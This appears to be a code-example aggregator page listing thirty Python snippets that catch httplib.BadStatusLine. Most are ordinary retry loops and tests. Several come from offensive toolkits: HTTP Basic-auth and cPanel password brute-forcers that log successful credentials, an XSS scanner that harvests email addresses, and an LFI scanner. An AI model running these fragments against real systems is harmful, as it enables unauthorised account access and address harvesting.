Python httplib.BadStatusLine() Examples
The following are 30
code examples of httplib.BadStatusLine().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
httplib
, or try the search function
.
Example #1
Source File: get_reformagkh_data-v1.py From reformagkh with GNU General Public License v2.0 | 6 votes |
def urlopen_house(link,id): #fetch html data on a house numtries = 5 timeoutvalue = 40 for i in range(1,numtries+1): i = str(i) try: u = urllib2.urlopen(link, timeout = timeoutvalue) except BadStatusLine: console_out('BadStatusLine for ID:' + id + '.' + ' Attempt: ' + i) res = False time.sleep(3) except urllib2.URLError, e: if hasattr(e, 'reason'): console_out('We failed to reach a server for ID:' + id + ' Reason: ' + str(e.reason) + '.' + ' Attempt: ' + i) elif hasattr(e, 'code'): console_out('The server couldn\'t fulfill the request for ID: ' + id + ' Error code: ' + str(e.code) + '.' + ' Attempt: ' + i) res = False time.sleep(3) except socket.timeout, e: console_out('Connection timed out on urlopen() for ID: ' + id + '.' + ' Attempt: ' + i) res = False time.sleep(3)
Example #2
Source File: xmlrpclib.py From meddle with MIT License | 6 votes |
def request(self, host, handler, request_body, verbose=0): #retry request once if cached connection has gone cold for i in (0, 1): try: return self.single_request(host, handler, request_body, verbose) except socket.error, e: if i or e.errno not in (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE): raise except httplib.BadStatusLine: #close after we sent request if i: raise ## # Send a complete request, and parse the response. # # @param host Target host. # @param handler Target PRC handler. # @param request_body XML-RPC request body. # @param verbose Debugging flag. # @return Parsed response.
Example #3
Source File: xmlrpclib.py From ironpython2 with Apache License 2.0 | 6 votes |
def request(self, host, handler, request_body, verbose=0): #retry request once if cached connection has gone cold for i in (0, 1): try: return self.single_request(host, handler, request_body, verbose) except socket.error, e: if i or e.errno not in (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE): raise except httplib.BadStatusLine: #close after we sent request if i: raise ## # Send a complete request, and parse the response. # # @param host Target host. # @param handler Target PRC handler. # @param request_body XML-RPC request body. # @param verbose Debugging flag. # @return Parsed response.
Example #4
Source File: scan_httpserverversion.py From apt2 with MIT License | 6 votes |
def processTarget(self, t, port): if not self.seentarget(t + str(port)): self.addseentarget(t + str(port)) self.display.verbose(self.shortName + " - Connecting to " + t) try: conn = httplib.HTTPConnection(t, port, timeout=10) conn.request('GET', '/') response = conn.getresponse() serverver = response.getheader('server') if (serverver): outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str( port) + "_" + Utils.getRandStr(10) Utils.writeFile("Identified Server Version of %s : %s\n\nFull Headers:\n%s" % ( t, serverver, self.print_dict(response.getheaders())), outfile) kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F")) except httplib.BadStatusLine: pass # except socket.error as e: except: pass
Example #5
Source File: test_httplib.py From ironpython2 with Apache License 2.0 | 6 votes |
def test_status_lines(self): # Test HTTP status lines body = "HTTP/1.1 200 Ok\r\n\r\nText" sock = FakeSocket(body) resp = httplib.HTTPResponse(sock) resp.begin() self.assertEqual(resp.read(0), '') # Issue #20007 self.assertFalse(resp.isclosed()) self.assertEqual(resp.read(), 'Text') self.assertTrue(resp.isclosed()) body = "HTTP/1.1 400.100 Not Ok\r\n\r\nText" sock = FakeSocket(body) resp = httplib.HTTPResponse(sock) self.assertRaises(httplib.BadStatusLine, resp.begin)
Example #6
Source File: webauthbrute.py From darkc0de-old-stuff with GNU General Public License v3.0 | 6 votes |
def run(self): username, password = getword() try: print "-"*12 print "User:",username,"Password:",password req = urllib2.Request(sys.argv[1]) passman = urllib2.HTTPPasswordMgrWithDefaultRealm() passman.add_password(None, sys.argv[1], username, password) authhandler = urllib2.HTTPBasicAuthHandler(passman) opener = urllib2.build_opener(authhandler) fd = opener.open(req) print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n" print "Retrieved", fd.geturl() info = fd.info() for key, value in info.items(): print "%s = %s" % (key, value) sys.exit(2) except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: print "An error occurred:", msg pass
Example #7
Source File: server_test.py From browserscope with Apache License 2.0 | 6 votes |
def test_handle_script_request_unexpected_instance_exception(self): self.servr._instance_factory.new_instance( mox.IgnoreArg(), expect_ready_request=False).AndReturn(self.inst) self.inst.start() self.inst.handle( self.environ, self.start_response, self.url_map, self.match, self.request_id, instance.INTERACTIVE_REQUEST).AndRaise(httplib.BadStatusLine('line')) self.mox.ReplayAll() self.assertRaises( httplib.BadStatusLine, self.servr._handle_script_request, self.environ, self.start_response, self.url_map, self.match, self.request_id) self.mox.VerifyAll()
Example #8
Source File: xmlrpclib.py From BinderFilter with MIT License | 6 votes |
def request(self, host, handler, request_body, verbose=0): #retry request once if cached connection has gone cold for i in (0, 1): try: return self.single_request(host, handler, request_body, verbose) except socket.error, e: if i or e.errno not in (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE): raise except httplib.BadStatusLine: #close after we sent request if i: raise ## # Send a complete request, and parse the response. # # @param host Target host. # @param handler Target PRC handler. # @param request_body XML-RPC request body. # @param verbose Debugging flag. # @return Parsed response.
Example #9
Source File: test_httplib.py From oss-ftp with MIT License | 6 votes |
def test_status_lines(self): # Test HTTP status lines body = "HTTP/1.1 200 Ok\r\n\r\nText" sock = FakeSocket(body) resp = httplib.HTTPResponse(sock) resp.begin() self.assertEqual(resp.read(0), '') # Issue #20007 self.assertFalse(resp.isclosed()) self.assertEqual(resp.read(), 'Text') self.assertTrue(resp.isclosed()) body = "HTTP/1.1 400.100 Not Ok\r\n\r\nText" sock = FakeSocket(body) resp = httplib.HTTPResponse(sock) self.assertRaises(httplib.BadStatusLine, resp.begin)
Example #10
Source File: xmlrpclib.py From oss-ftp with MIT License | 6 votes |
def request(self, host, handler, request_body, verbose=0): #retry request once if cached connection has gone cold for i in (0, 1): try: return self.single_request(host, handler, request_body, verbose) except socket.error, e: if i or e.errno not in (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE): raise except httplib.BadStatusLine: #close after we sent request if i: raise ## # Send a complete request, and parse the response. # # @param host Target host. # @param handler Target PRC handler. # @param request_body XML-RPC request body. # @param verbose Debugging flag. # @return Parsed response.
Example #11
Source File: module_test.py From python-compat-runtime with Apache License 2.0 | 6 votes |
def test_handle_script_request_unexpected_instance_exception(self): self.servr._instance_factory.new_instance( mox.IgnoreArg(), expect_ready_request=False).AndReturn(self.inst) self.inst.start() self.inst.handle( self.environ, self.start_response, self.url_map, self.match, self.request_id, instance.INTERACTIVE_REQUEST).AndRaise(httplib.BadStatusLine('line')) self.mox.ReplayAll() self.assertRaises( httplib.BadStatusLine, self.servr._handle_script_request, self.environ, self.start_response, self.url_map, self.match, self.request_id) self.mox.VerifyAll()
Example #12
Source File: xmlrpclib.py From pmatic with GNU General Public License v2.0 | 6 votes |
def request(self, host, handler, request_body, verbose=0): #retry request once if cached connection has gone cold for i in (0, 1): try: return self.single_request(host, handler, request_body, verbose) except socket.error, e: if i or e.errno not in (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE): raise except httplib.BadStatusLine: #close after we sent request if i: raise ## # Send a complete request, and parse the response. # # @param host Target host. # @param handler Target PRC handler. # @param request_body XML-RPC request body. # @param verbose Debugging flag. # @return Parsed response.
Example #13
Source File: xmlrpclib.py From Splunking-Crime with GNU Affero General Public License v3.0 | 6 votes |
def request(self, host, handler, request_body, verbose=0): #retry request once if cached connection has gone cold for i in (0, 1): try: return self.single_request(host, handler, request_body, verbose) except socket.error, e: if i or e.errno not in (errno.ECONNRESET, errno.ECONNABORTED, errno.EPIPE): raise except httplib.BadStatusLine: #close after we sent request if i: raise ## # Send a complete request, and parse the response. # # @param host Target host. # @param handler Target PRC handler. # @param request_body XML-RPC request body. # @param verbose Debugging flag. # @return Parsed response.
Example #14
Source File: connection.py From neo4jdb-python with MIT License | 6 votes |
def _http_req(self, method, path, payload=None, retries=2): serialized_payload = json.dumps(payload) if payload is not None else None try: self._http.request(method, path, serialized_payload, self._COMMON_HEADERS) http_response = self._http.getresponse() except (http.BadStatusLine, http.CannotSendRequest): self._http = http.HTTPConnection(self._host) if retries > 0: return self._http_req(method, path, payload, retries-1) self._handle_error(self, None, Connection.OperationalError, "Connection has expired.") if not http_response.status in [200, 201]: message = "Server returned unexpected response: " + ustr(http_response.status) + ustr(http_response.read()) self._handle_error(self, None, Connection.OperationalError, message) return http_response
Example #15
Source File: test_httplib.py From gcblue with BSD 3-Clause "New" or "Revised" License | 6 votes |
def test_status_lines(self): # Test HTTP status lines body = "HTTP/1.1 200 Ok\r\n\r\nText" sock = FakeSocket(body) resp = httplib.HTTPResponse(sock) resp.begin() self.assertEqual(resp.read(0), '') # Issue #20007 self.assertFalse(resp.isclosed()) self.assertEqual(resp.read(), 'Text') self.assertTrue(resp.isclosed()) body = "HTTP/1.1 400.100 Not Ok\r\n\r\nText" sock = FakeSocket(body) resp = httplib.HTTPResponse(sock) self.assertRaises(httplib.BadStatusLine, resp.begin)
Example #16
Source File: webauthbrute.py From d4rkc0de with GNU General Public License v2.0 | 6 votes |
def run(self): username, password = getword() try: print "-"*12 print "User:",username,"Password:",password req = urllib2.Request(sys.argv[1]) passman = urllib2.HTTPPasswordMgrWithDefaultRealm() passman.add_password(None, sys.argv[1], username, password) authhandler = urllib2.HTTPBasicAuthHandler(passman) opener = urllib2.build_opener(authhandler) fd = opener.open(req) print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n" print "Retrieved", fd.geturl() info = fd.info() for key, value in info.items(): print "%s = %s" % (key, value) sys.exit(2) except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: print "An error occurred:", msg pass
Example #17
Source File: run.py From gazouilloire with GNU General Public License v3.0 | 6 votes |
def catchupper(pile, pile_catchup, twitterco, exit_event, debug=False): while not exit_event.is_set() or not pile_catchup.empty(): todo = [] while not pile_catchup.empty() and len(todo) < 100: todo.append(pile_catchup.get()) if todo: try: tweets = twitterco.statuses.lookup(_id=",".join(todo), tweet_mode="extended", _method="POST") except (TwitterHTTPError, BadStatusLine, URLError, SSLError) as e: log("WARNING", "API connection could not be established, retrying in 10 secs (%s: %s)" % (type(e), e)) for t in todo: pile_catchup.put(t) breakable_sleep(10, exit_event) continue if debug and tweets: log("DEBUG", "[conversations] +%d tweets" % len(tweets)) for t in tweets: t["gazouilloire_source"] = "thread" pile.put(dict(t)) breakable_sleep(5, exit_event) log("INFO", "FINISHED catchupper")
Example #18
Source File: retry.py From toil with Apache License 2.0 | 6 votes |
def retry_http( delays=default_delays, timeout=default_timeout, predicate=retryable_http_error ): """ >>> i = 0 >>> for attempt in retry_http(timeout=5): # doctest: +IGNORE_EXCEPTION_DETAIL ... with attempt: ... i += 1 ... raise urllib.error.HTTPError('http://www.test.com', '408', 'some message', {}, None) Traceback (most recent call last): ... HTTPError: HTTP Error 408: some message >>> i > 1 True >>> i = 0 >>> for attempt in retry_http(timeout=5): # doctest: +IGNORE_EXCEPTION_DETAIL ... with attempt: ... i += 1 ... raise BadStatusLine('sad-cloud.gif') Traceback (most recent call last): ... BadStatusLine: sad-cloud.gif >>> i > 1 True """ return retry( delays=delays, timeout=timeout, predicate=predicate )
Example #19
Source File: get_reformagkh_atd.py From reformagkh with GNU General Public License v2.0 | 6 votes |
def urlopen_house(link,id): #fetch html data on a house numtries = 5 timeoutvalue = 40 for i in range(1,numtries+1): i = str(i) try: u = urllib2.urlopen(link, timeout = timeoutvalue) except BadStatusLine: console_out('BadStatusLine for ID:' + id + '.' + ' Attempt: ' + i) res = False time.sleep(3) except urllib2.URLError, e: if hasattr(e, 'reason'): console_out('We failed to reach a server for ID:' + id + ' Reason: ' + str(e.reason) + '.' + ' Attempt: ' + i) elif hasattr(e, 'code'): console_out('The server couldn\'t fulfill the request for ID: ' + id + ' Error code: ' + str(e.code) + '.' + ' Attempt: ' + i) res = False time.sleep(3) except socket.timeout, e: console_out('Connection timed out on urlopen() for ID: ' + id + '.' + ' Attempt: ' + i) res = False time.sleep(3)
Example #20
Source File: get_reformagkh_data-v2.py From reformagkh with GNU General Public License v2.0 | 6 votes |
def urlopen_house(link,id): #fetch html data on a house numtries = 5 timeoutvalue = 40 for i in range(1,numtries+1): i = str(i) try: u = urllib2.urlopen(link, timeout = timeoutvalue) except BadStatusLine: console_out('BadStatusLine for ID:' + id + '.' + ' Attempt: ' + i) res = False time.sleep(3) except urllib2.URLError, e: if hasattr(e, 'reason'): console_out('We failed to reach a server for ID:' + id + ' Reason: ' + str(e.reason) + '.' + ' Attempt: ' + i) elif hasattr(e, 'code'): console_out('The server couldn\'t fulfill the request for ID: ' + id + ' Error code: ' + str(e.code) + '.' + ' Attempt: ' + i) res = False time.sleep(3) except socket.timeout, e: console_out('Connection timed out on urlopen() for ID: ' + id + '.' + ' Attempt: ' + i) res = False time.sleep(3)
Example #21
Source File: server_test.py From browserscope with Apache License 2.0 | 5 votes |
def test_handle_script_request_restart(self): def restart_and_raise(*args): self.servr._inst = None raise httplib.BadStatusLine('line') start_response = start_response_utils.CapturingStartResponse() self.servr._instance_factory.new_instance( mox.IgnoreArg(), expect_ready_request=False).AndReturn(self.inst) self.inst.start() self.inst.handle( self.environ, start_response, self.url_map, self.match, self.request_id, instance.INTERACTIVE_REQUEST).WithSideEffects(restart_and_raise) self.mox.ReplayAll() self.assertEqual( ['Instance was restarted while executing command'], self.servr._handle_script_request(self.environ, start_response, self.url_map, self.match, self.request_id)) self.mox.VerifyAll() self.assertEqual('503 Service Unavailable', start_response.status)
Example #22
Source File: connection.py From conary with Apache License 2.0 | 5 votes |
def startTunnel(self, sock): """If needed, start a HTTP CONNECT tunnel on the proxy connection.""" if not self.doTunnel: return sock # Send request lines = [ "CONNECT %s HTTP/1.0" % (self.endpoint.hostport,), "User-Agent: %s" % (self.userAgent,), ] if self.proxy.userpass[0]: lines.append("Proxy-Authorization: Basic " + base64.b64encode(":".join(self.proxy.userpass))) lines.extend(['', '']) sock.sendall('\r\n'.join(lines)) # Parse response to make sure the tunnel was opened successfully. resp = httplib.HTTPResponse(sock, strict=True) try: resp.begin() except httplib.BadStatusLine: raise socket.error(-42, "Bad Status Line from proxy %s" % (self.proxy,)) if resp.status != 200: raise socket.error(-71, "HTTP response error from HTTP proxy %s: %s %s" % (self.proxy, resp.status, resp.reason)) # We can safely close the response, it duped the original socket resp.close() return sock
Example #23
Source File: webauthbrute_random_usersupport.py From darkc0de-old-stuff with GNU General Public License v3.0 | 5 votes |
def geturls(url): try: print "[+] Collecting:",url page = urllib2.urlopen(url).read() links = re.findall(('http://\w+.\w+\.\w+[/\w+.]*[/.]\w+'), page) for link in links: if link not in urls and link[-3:].lower() not in ("gif","jpg","png","ico"): urls.append(link) except(IOError,TypeError,AttributeError,httplib.BadStatusLine, socket.error): pass return urls
Example #24
Source File: webauthbrute_random_usersupport.py From d4rkc0de with GNU General Public License v2.0 | 5 votes |
def geturls(url): try: print "[+] Collecting:",url page = urllib2.urlopen(url).read() links = re.findall(('http://\w+.\w+\.\w+[/\w+.]*[/.]\w+'), page) for link in links: if link not in urls and link[-3:].lower() not in ("gif","jpg","png","ico"): urls.append(link) except(IOError,TypeError,AttributeError,httplib.BadStatusLine, socket.error): pass return urls
Example #25
Source File: httpshandler.py From POC-EXP with GNU General Public License v3.0 | 5 votes |
def connect(self): def create_sock(): sock = socket.create_connection((self.host, self.port), self.timeout) if getattr(self, "_tunnel_host", None): self.sock = sock self._tunnel() return sock success = False # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): try: sock = create_sock() context = ssl.SSLContext(protocol) _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) if kb.tlsSNI.get(self.host) is None: kb.tlsSNI[self.host] = success
Example #26
Source File: webauthbrute_random_usersupport.py From d4rkc0de with GNU General Public License v2.0 | 5 votes |
def threader(site): username, password = getword() global logins try: print "-"*12 print "User:",username,"Password:",password req = urllib2.Request(site) passman = urllib2.HTTPPasswordMgrWithDefaultRealm() passman.add_password(None, site, username, password) authhandler = urllib2.HTTPBasicAuthHandler(passman) opener = urllib2.build_opener(authhandler) fd = opener.open(req) site = urllib2.urlopen(fd.geturl()).read() print "\n[+] Checking the authenticity of the login...\n" if not re.search(('denied'), site.lower()): print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n" print "[+] Writing Successful Login:",sys.argv[5],"\n" logins +=1 file = open(sys.argv[5], "a") file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n") file.close() print "Retrieved", fd.geturl() info = fd.info() for key, value in info.items(): print "%s = %s" % (key, value) else: print "- Redirection\n" except (urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg: print "An error occurred:", msg pass
Example #27
Source File: cPanelbrute.py From d4rkc0de with GNU General Public License v2.0 | 5 votes |
def run(self): username, password = getword() try: print "-"*12 print "User:",username,"Password:",password auth_handler = urllib2.HTTPBasicAuthHandler() auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1]) opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) urllib2.urlopen(server) print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n" except (urllib2.HTTPError, httplib.BadStatusLine), msg: #print "An error occurred:", msg pass
Example #28
Source File: XSSscan_v1.1.py From d4rkc0de with GNU General Public License v2.0 | 5 votes |
def tester(target): if verbose ==1: print "Target:",target try: source = urllib2.urlopen("http://"+target).read() h = httplib.HTTPConnection(target.split('/')[0]) try: h.request("GET", "/"+target.split('/',1)[1]) except(IndexError): h.request("GET", "/") r1 = h.getresponse() if re.search(xss.split("%27", 2)[1].replace("%2D","-"), source) != None and r1.status not in range(300, 418): if target not in found_xss: print "\n[!] XSS:", target print "\t[+] Response:",r1.status, r1.reason emails = getemails(target) if emails: print "\t[+] Email:",len(emails),"addresses\n" found_xss.setdefault(target, list(sets.Set(emails))) else: found_xss[target] = "None" except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine): pass except(): pass
Example #29
Source File: lfiscan.py From d4rkc0de with GNU General Public License v2.0 | 5 votes |
def getvar(): names = [] actions = [] try: webpage = urllib2.urlopen("http://"+host, port).read() var = re.findall("\?[\w\.\-/]*\=",webpage) if len(var) >=1: var = list(sets.Set(var)) found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower()) found_action = list(sets.Set(found_action)) if len(found_action) >= 1: for a in found_action: a = a.split('"',2)[1] try: if a[0] != "/": a = "/"+a except(IndexError): pass actions.append(a) found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower()) found_names = list(sets.Set(found_names)) for n in found_names: names.append(n.split('"',2)[1]) return names, actions, var except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine): pass except(KeyboardInterrupt): print "\n[-] Cancelled -",timer(),"\n" sys.exit(1)
Example #30
Source File: webauthbrute_random.py From d4rkc0de with GNU General Public License v2.0 | 5 votes |
def threader(site): username, password = getword() global logins try: print "-"*12 print "User:",username,"Password:",password req = urllib2.Request(site) passman = urllib2.HTTPPasswordMgrWithDefaultRealm() passman.add_password(None, site, username, password) authhandler = urllib2.HTTPBasicAuthHandler(passman) opener = urllib2.build_opener(authhandler) fd = opener.open(req) site = urllib2.urlopen(fd.geturl()).read() print "\n[+] Checking the authenticity of the login...\n" if not re.search(('denied'), site.lower()): print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n" print "[+] Writing Successful Login:",sys.argv[5],"\n" logins +=1 file = open(sys.argv[5], "a") file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n") file.close() print "Retrieved", fd.geturl() info = fd.info() for key, value in info.items(): print "%s = %s" % (key, value) else: print "- Redirection" except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: print "An error occurred:", msg pass